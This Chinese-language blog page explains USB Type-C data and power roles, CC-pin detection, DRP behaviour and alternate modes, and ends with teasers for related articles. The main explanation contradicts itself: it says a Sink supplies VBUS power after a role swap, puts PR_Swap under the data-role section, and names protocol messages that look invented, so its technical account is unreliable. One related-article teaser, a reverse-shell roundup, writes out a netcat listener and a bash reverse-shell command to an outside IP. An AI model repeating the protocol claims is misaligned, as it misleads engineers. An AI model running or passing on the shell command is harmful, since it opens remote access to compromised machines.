细谈Type-C Port的Data Role、Power Role | 乐得瑞科技
一、Data Role协议通讯过程和工作原理
Data Role描述了数据传输的方向。在Type-C接口中,下行端口(DFP)可以作为Host或HUB,负责提供VBUS和VCONN,并接收数据。与之相对的上行端口(UFP)则作为Device,从VBUS中获取电力,并发送数据。而双角色端口(DRP)则能够在Host和Device之间进行动态切换。
通讯信号内容:
- 连接建立阶段:
- 设备A发送默认的USB信号(如USB JID信号)给设备B。
- 设备B收到信号后,回复USB Detection信号给设备A,确认连接建立。
- 数据传输阶段:
- 设备A发送SOF(Start of Frame)信号给设备B,表示开始传输数据。
- 设备B收到SOF信号后,回复ACK(Acknowledgment)信号给设备A,表示数据已成功接收。
- 数据传输过程中,设备A和设备B通过交换一系列数据包实现数据传输。这些数据包可能包括Data Token、STP(Split Transaction Preamble)、STP Token、Data Preamble、Data、Handshake等信号内容。
- 角色切换阶段:
- 设备A发送PR_Swap请求信号给设备B,请求切换为Sink角色。请求信号可能包含电压级别、电流限制等信息。
- 设备B收到请求信号后,通过CC引脚发送PR_Swap_GIVE响应信号给设备A,表示同意切换。响应信号可能包含确认信息或状态信息。
- 在角色切换完成后,设备A作为Sink模式会打开VBUS和VCONN,提供电力给设备B。同时设备B也会进行相应的配置调整以接收电力。
- 断开阶段:
- 当设备A与设备B断开连接时,双方设备会通过CC引脚发送DISCONNECT请求信号。请求信号可能包括断开的原因、断开前的状态等信息。
- 在确认断开后,设备A和设备B会关闭VBUS和VCONN,结束连接。同时双方设备也会进行一些清理和复位操作。
二、Power Role协议通讯过程和工作原理
Power Role定义了供电的角色。根据USB PORT的供电情况来划分,Source是供电方,Sink则是受电方。Source Only表示只能作为供电方,Sink Only则只能作为受电方。默认情况下,设备为Source模式,但可以通过PD SWAP协议切换为Sink模式。
通讯信号内容:
- 源模式阶段:
- 设备A作为Host模式默认打开VBUS和VCONN,向设备B提供电力。
- 设备B作为Device模式接收电力并发送回复信号给设备A,该回复信号可能包括电力的状态、需求或反馈信息等。
- 角色切换阶段:
- 当设备B需要从设备A接收电力时,双方设备会进行角色切换。
- 设备A作为Source模式发送PR_Swap请求信号给设备B,请求切换为Sink角色。请求信号可能包含电压级别、电流限制等信息。
- 设备B作为Sink模式响应PR_Swap_GIVE信号给设备A,表示同意切换。响应信号可能包含确认信息或状态信息。
- 在角色切换完成后,设备A作为Sink模式打开VBUS和VCONN,提供电力给设备B。同时设备B也会进行相应的配置调整以接收电力。
- 断开阶段:
- 当设备A与设备B断开连接时,双方设备会通过CC引脚发送DISCONNECT请求信号。请求信号可能包括断开的原因、断开前的状态等信息。
- 在确认断开后,设备A和设备B会关闭VBUS和VCONN,结束供电。同时双方设备也会进行一些清理和复位操作。
如下图显示常用设备的Data Role和Power Role
Power Role 详细可以分为:
a)Source Only
b)默认Source,但是偶尔能够通过PD SWAP切换为SINK模式
c)Sink Only
d)默认SINK,但是偶尔能够通过PD SWAP切换为Source模式
e)Source/SINK 轮换
f)Sourcing Device (能供电的Device,显示器)
g)Sinking Host(吃电的Host,笔记本电脑)
Type-C的Data/Power Role识别协商/Alt Mode
USB Type-C的插座中有两个CC脚,以下的角色检测,都是通过CC脚进行的,但是对于插头、或者线缆正常只有一个CC引脚,两个端口连接在一起之后,只存在一个CC引脚连接,通过检测哪一个CC有连接,就可以判断连接的方向。如果USB线缆中有需供电的器件,其中一个CC引脚将作为VCONN供电。
CC引脚有如下作用:
a)检测USB Type-C端口的插入,如Source接入到Sink
b)用于判断插入方向,翻转数据链路
c)在两个连接的Port之间,建立对应的Data Role
d)配置VBUS,通过下拉电阻判断规格,在PD协商中使用,为半双工模式
e)配置VCONN
f)检测还有配置其他可选的配置模式,如耳机或者其他模式
连接方向、Data Role、Power Role角色检测
SourceSink Connection
如图所示,Source端CC引脚为上拉,Sink端CC引脚为下拉。握手过程为接入后检测到有效连接(即一端为Host一端为Device),随后检测线材供电能力,再进行USB枚举。
如下图指示了Source端,在连接SINK之前,CC1和CC2的框图模型:
a)Source端使用一个MOSFET去控制电源,初始状态下,FET为关闭状态
b)Source端CC1/CC2均上拉至高电平,同时检测是否有Sink插入,当检测到有Rd下拉电阻时,说明Sink被检测到。Rp的阻值表明Host能够提供的功率水平。
c)Source端根据Cable中哪一个CC引脚为Rd下拉,去翻转USB的数据链路,同时决定另外一个CC引脚为VCONN
d)在此之后,Source打开VBUS,同时VCONN供电
e)Source可以动态调整Rp的值,去表示给Sink的电流发送变化,告知SINK最大可以使用的电流
f)Source会持续检测Rd的存在,一旦连接断开,电源将会被关闭
g)如果Source支持高级功能(PD或者Alternate Mode),将通过CC引脚进行通信
如下图指示了SINK端CC1和CC2框架:
a)SINK的两个CC引脚均通道Rd下拉到GND
b)SINK通过检测VBUS,来判断Source的连接与否
c)SINK通过CC引脚上拉的特性,来检测目前的USB通信链路(翻转)
d)SINK可选地去检测Rp的值,去判断Source可提供的电流。同时管理自身的功耗,保证不超过Source提供的最大范围
e)同样的,如果支持高级功能,通过CC引脚进行通信。
如下图指示DRP的CC引脚在链接之前的架构:
a)当作为Source存在的时候,DRP使用MOSFET控制VBUS供电与否
b)DRP使用Switch去切换自身身份作为Source,或者是SINK
c)DRP存在一套机制,分三种情况,去决定自身是SINK或者是Source,去建立两者间彼此的角色。
情况1:不使用PD SWAP,随机变成Source/SINK中的任意一个,CC脚波形为方波
情况2:自身倾向于作为Source,执行Try.SRC,问对面能不能做SINK呀,我做Source
情况3:与情况2相反,自身倾向作为SINK,执行Try.SNK,你做Source,我做小弟
当然还存在Source&Source,SINK&SINK这种搞基模式,唯一的结果就是一直停留在Unattached.SNK/Unattached.SRC,无法终成眷属。
Type-C的其他模式
Display Port Alternate Mode
系统会通过USB PD协议中VDMs的信息通信(CC引脚通信),去告知支持Display Port模式。在这个模式当中,USB SuperSpeed 信号允许部分传输USB,部分传输DP信号。
Audio Adapter Accessory Mode
如下图,为3.5mm音频输入口转Type-C端口,USB2.0链路被用来传输模拟音频信号,若带MIC,MIC信号则连接在SBU引脚上,在这个模式当中,电源可以提供到500mA电流。
Host端如何识别到音频模式呢?把CC引脚和VCON连接,并且下拉电阻小于Ra/2(则小于400ohm),或者分别对地,下拉电阻小于Ra(小于800ohm),则Host会识别为音频模式。
Debug Accessory Mode (DAM)
在DAM下,连接软体和硬体提供可视化调试和控制的系统,使用较少。
相关文章:

细谈Type-C Port的Data Role、Power Role | 乐得瑞科技
一、Data Role协议通讯过程和工作原理 Data Role描述了数据传输的方向。在Type-C接口中,下行端口(DFP)可以作为Host或HUB,负责提供VBUS和VCONN,并接收数据。与之相对的上行端口(UFP)则作为Devi…...

团结引擎的安装
团结引擎有多种方式可以安装,具体可以参考团结引擎官方文档,这里我们使用最简单的安装方式,通过团结Hub来安装。 1. 安装 Tuanjie Hub 进入团结引擎官网,点击右上角的【下载Unity】,进入下载界面,选择“下载…...

SpringBoot读取配置文件中的内容
文章目录 1. 读取配置文件application.yml中内容的方法1.1 Environment1.2 Value注解1.3 ConfigurationProperties 注解1.4 PropertySources 注解,获取自定义配置文件中的内容,yml文件需要自行实现适配器1.5 YamlPropertiesFactoryBean 加载 YAML 文件1.…...
反弹shell方法汇总
假设本机地址10.10.10.11,监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i >& /dev/tcp/192.168.245.129/1234 0>&1 /bin/bash -i > /dev/tcp/154.21…...

三、电脑软件路径移动方式
一、电脑文件移动 当我们想整理硬盘或者移动软件时,常常会遇到多种多样的问题,下面就来说明一下我遇到的问题 1.桌面 解释:移动路径会导致桌面快捷方式失效,下面以图片解答如何恢复 原理:桌面快捷方式保存在C:\Users…...

基于JAVA+ssm智能旅游线路规划系统设计与实现【附源码】
基于JAVAssm智能旅游线路规划系统设计与实现【附源码】 🍅 作者主页 央顺技术团队 🍅 欢迎点赞 👍 收藏 ⭐留言 📝 🍅 文末获取源码联系方式 📝 项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql…...

在 Windows 11 上通过 Autoawq 启动 Mixtral 8*7B 大语言模型
在 Windows 11 上通过 Autoawq 启动 Mixtral 8*7B 大语言模型 0. 背景1. 安装依赖2. 开发 main.py3. 运行 main.py 0. 背景 看了一些文章之后,今天尝试在 Windows 11 上通过 Autoawq 启动 Mixtral 8*7B 大语言模型。 1. 安装依赖 pip install torch torchvision …...

C# 图解教程 第5版 —— 第24章 预处理指令
文章目录 24.1 什么是预处理指令24.2 基本规则24.3 符号指令(#define、#undef )24.4 条件编译(#if、#else、#elif、#endif)24.5 条件编译结构24.6 诊断指令(#warning、#error)24.7 行号指令(#li…...
电商几乎每一次的调整,几乎都围绕着AI展开
在那个马云依然还掌舵着阿里这艘大船的年月里,因其天马行空的想法,在很多时候总是被冠以「外星人」的名头。 站在今天来看,所谓的「外星人」,或许更多地和当下风靡的「AI」有很多相似之处吧。 他,能洞察商业的内在规…...

[Linux 进程(三)] 进程优先级,进程间切换,main函数参数,环境变量
文章目录 1、进程优先级1.1 Linux下查看进程优先级1.2 Linux 进程优先级的修改PRI and NItop命令配合操作更改优先级 1.3 竞争 独立 并行 并发 2、进程间切换3、Linux2.6内核进程调度队列3.1 活跃进程3.2 过期进程 4 main函数参数 — 命令行参数4.1 利用main函数的参数实现一个…...
【Java 设计模式】设计原则之单一职责原则
文章目录 1. 定义2. 好处3. 应用4. 示例结语 在软件开发中,设计原则是创建灵活、可维护和可扩展软件的基础。 这些原则为我们提供了指导方针,帮助我们构建高质量、易理解的代码。 ✨单一职责原则(SRP) ✨开放/封闭原则(…...

实现导航栏吸顶操作
一、使用VueUse插件 // 安装 npm i vueuse/core二、点击搜索useScroll 2.1搜索结果如图 三、使用 // 这是示例代码 import { useScroll } from vueuse/core const el ref<HTMLElement | null>(null) const { x, y, isScrolling, arrivedState, directions } useSc…...

Docker简述与基础部署详解
目录 docker概述 docker的核心思想 docker三大组件 docker优势 容器和虚拟机之间的区别 容器在内核中支持的重要技术 命名空间(Namespaces) 控制组(Control Groups,cgroups) 写时复制技术(Copy-on…...

(南京观海微电子)——色温介绍
色温是表示光线中包含颜色成分的一个计量单位。从理论上说,黑体温度指绝对黑体从绝对零度(-273℃)开始加温后所呈现的颜色。黑体在受热后,逐渐由黑变红,转黄,发白,最后发出蓝色光。当…...
入门Linux简单操作
基本命令 scp ✓ scp -r 文件 127.0.0.1:/root/文件 (source->>>>destination) mv cp ✓ cp xxxx ./xxxx date ✓ 修改时间 date -s “yyyy-MM-dd 12:12:59” find ✓ find /home/user -name “*.txt” grep ✓ 管道 软连接 多用户 免密设置 脚…...
操作系统复习 一、二章
操作系统复习 一、二章 文章目录 操作系统复习 一、二章第一章 计算机系统概述处理器中各寄存器的作用指令的执行过程中断存储器层次结构和CacheI/O 通信技术 第二章 操作系统概述大内核微内核大内核微内核 操作系统的定义、目标和功能定义目标和功能 操作系统的发展过程现代操…...

【国内访问github不稳定】可以尝试fastgithub解决这个问题
1、下载 https://github.com/dotnetcore/FastGithub https://github.com/dotnetcore/FastGithub/releases 官网下载即可,比如,我用的是这个:fastgithub_osx-x64.zip(点这里下载) 2、安装 如下图双击启动即可 3、…...
android:clickable=“false“无效,依然能被点击
android:clickable“false”依然能被点击,该属性意义何在? 在Android中,android:clickable 属性用于指定一个视图(View)是否可以被点击。当你设置 android:clickable"true" 时,表示该视图可以接…...

Springboot WebFlux项目结合mongodb进行crud
第一步:创建项目 第二步:给mongodb插入数据 第三步:创建实体类 package org.cyl.test02.entity;// Task.java import lombok.Data;Data public class Task {private String id;private String description; }第四步:创建Reposito…...

超维空间M1无人机使用说明书——61、ROS无人机物体识别与精准投放
引言:基于空中物流的项目背景。我们提供了使用基于诗句的物体识别和精准投放、降落。实现原理如下: 1、在ROS下使用机载电脑实现物体识别 2、记载电脑根据反馈的位置发布运动控制指令 3、PX4解析机载电脑发布的命令,作出运动控制 4、设置…...

python打卡day49
知识点回顾: 通道注意力模块复习空间注意力模块CBAM的定义 作业:尝试对今天的模型检查参数数目,并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...

汽车生产虚拟实训中的技能提升与生产优化
在制造业蓬勃发展的大背景下,虚拟教学实训宛如一颗璀璨的新星,正发挥着不可或缺且日益凸显的关键作用,源源不断地为企业的稳健前行与创新发展注入磅礴强大的动力。就以汽车制造企业这一极具代表性的行业主体为例,汽车生产线上各类…...
将对透视变换后的图像使用Otsu进行阈值化,来分离黑色和白色像素。这句话中的Otsu是什么意思?
Otsu 是一种自动阈值化方法,用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理,能够自动确定一个阈值,将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...

Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
汇编常见指令
汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX(不访问内存)XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...
使用Matplotlib创建炫酷的3D散点图:数据可视化的新维度
文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例(带样式)应用场景在数据科学和可视化领域,三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...

回溯算法学习
一、电话号码的字母组合 import java.util.ArrayList; import java.util.List;import javax.management.loading.PrivateClassLoader;public class letterCombinations {private static final String[] KEYPAD {"", //0"", //1"abc", //2"…...
C#中的CLR属性、依赖属性与附加属性
CLR属性的主要特征 封装性: 隐藏字段的实现细节 提供对字段的受控访问 访问控制: 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性: 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑: 可以…...
es6+和css3新增的特性有哪些
一:ECMAScript 新特性(ES6) ES6 (2015) - 革命性更新 1,记住的方法,从一个方法里面用到了哪些技术 1,let /const块级作用域声明2,**默认参数**:函数参数可以设置默认值。3&#x…...

客户案例 | 短视频点播企业海外视频加速与成本优化:MediaPackage+Cloudfront 技术重构实践
01技术背景与业务挑战 某短视频点播企业深耕国内用户市场,但其后台应用系统部署于东南亚印尼 IDC 机房。 随着业务规模扩大,传统架构已较难满足当前企业发展的需求,企业面临着三重挑战: ① 业务:国内用户访问海外服…...